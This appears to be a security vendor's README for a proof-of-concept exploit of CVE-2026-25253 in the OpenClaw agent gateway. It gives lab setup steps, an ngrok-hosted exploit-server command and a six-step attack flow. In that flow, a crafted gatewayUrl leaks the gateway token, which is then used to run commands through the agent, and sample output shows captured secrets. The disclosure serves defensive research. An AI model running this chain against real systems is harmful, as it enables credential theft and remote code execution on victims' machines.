CVE-2026-25253 OpenClaw 1-Click RCE

★ CVE-2026-25253 OpenClaw 1-Click Remote Code Execution PoC ★

https://github.com/user-attachments/assets/e6957c61-7549-4e68-831e-a05436504a3e

Description

CVE-2026-25253 : OpenClaw Authentication Token Exfiltration Vulnerability

description: OpenClaw (aka clawdbot or Moltbot) before v2026.1.29 allows attackers to exfiltrate a stored gateway authentication token by supplying a crafted gatewayUrl query-string value to the Control UI, which automatically establishes a WebSocket connection without validation or user confirmation. This can lead to unauthorized gateway access and 1-click remote code execution.

Requirements

• Docker (Docker Desktop on Windows)
• Python 3.x (attack side)

Files

• Dockerfile — build the OpenClaw vulnerable environment
• templates/ — malicious web pages used by the exploit
• config.txt — OpenClaw configuration used in the victim environment
• exploit.py — exploit server
• requirements.txt — PoC dependencies

Environment Setup

1. Build Docker image

docker build -t openclaw-vuln .

2. Run environment (Windows)

docker run -d --name openclaw-vuln -p 127.0.0.1:2222:22 openclaw-vuln

3. Create SSH tunnel

ssh-keygen -R [127.0.0.1]:2222
ssh -N -L 18789:127.0.0.1:18789 -p 2222 [email protected]

• Password: openclawlab

4. Access OpenClaw Control UI Open the following URL in the browser

http://127.0.0.1:18789/

1. Enter the Gateway Token d4b7c7689b82981ff86c735a9f8f616b310491b0d334659a1491c55a13353e66
2. Click Connect
3. Open the Config tab
4. paste the contents of config.txt
5. Replace the API key field with your OpenAI API key
6. Save the configuration
7. Confirm that the agendt responds normally

Proof of Concept (PoC)

1. Install dependencies (attack side)

pip3 install -r requirements.txt

2. Expose the exploit server over HTTPS

wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz
tar xzf ngrok-v3-stable-linux-amd64.tgz
./ngrok authtoken YOUR_TOKEN
./ngrok http 13337

• Copy the generated forwarding hostname

3. Run exploit server

python3 exploit.py --host YOUR_NGROK_HOSTNAME --command "env"

Example:

python3 exploit.py --host abcd-1234.ngrok-free.app --command "env"

4. Trigger the attack

1. Open the malicious page exposed by the exploit server
2. Simulate victim interaction with the page
3. Trigger the exploit flow from the browser

Attack Flow

1. A malicious URL changes the victim Control UI gatewayUrl
2. The browser automatically connects to the attacker-controlled WebSocket endpoint
3. The gateway authentication token is leaked to the attacker
4. The malicious page uses the stolen token to open a new WebSocket connection to the victim’s local OpenClaw gateway
5. A command execution request is sent through the agent
6. The execution result is returned to the attacker server

Expected Result

• The victim browser is redirected into the malicious WebSocket flow
• The gateway authentication token is captured by the attacker
• The attacker can send a command execution request through OpenClaw
• Command output is returned to the attacker server

Sample Output

[*] Exploit Server running on: abcd-1234.ngrok-free.app:13337
[*] Gateway token captured: d4b7c7689b82981ff86c735a9f8f616b310491b0d334659a1491c55a13353e66

==================================================
      [!] EXPLOIT RESULT CAPTURED [!]
==================================================
HOSTNAME=openclaw-vuln
PWD=/root
HOME=/root
...
==================================================

Notes

• This PoC targets OpenClaw 2026.1.24-1
• The exploit chain relies on the vulnerable gatewayUrl handling in Control UI
• For remote victim access, the malicious page must be served over HTTPS
• The local OpenClaw gateway is reached through the victim browser as a bridge

EQST Insight

We publish CVE and malware analysis once a month. If you're interested, please follow the links below to check out our publications.

• KR : https://www.skshieldus.com/security-insights/reports/eqst_openclaw_rce_vulnerability
• EN : https://www.skshieldus.com/en/report?tab=eqst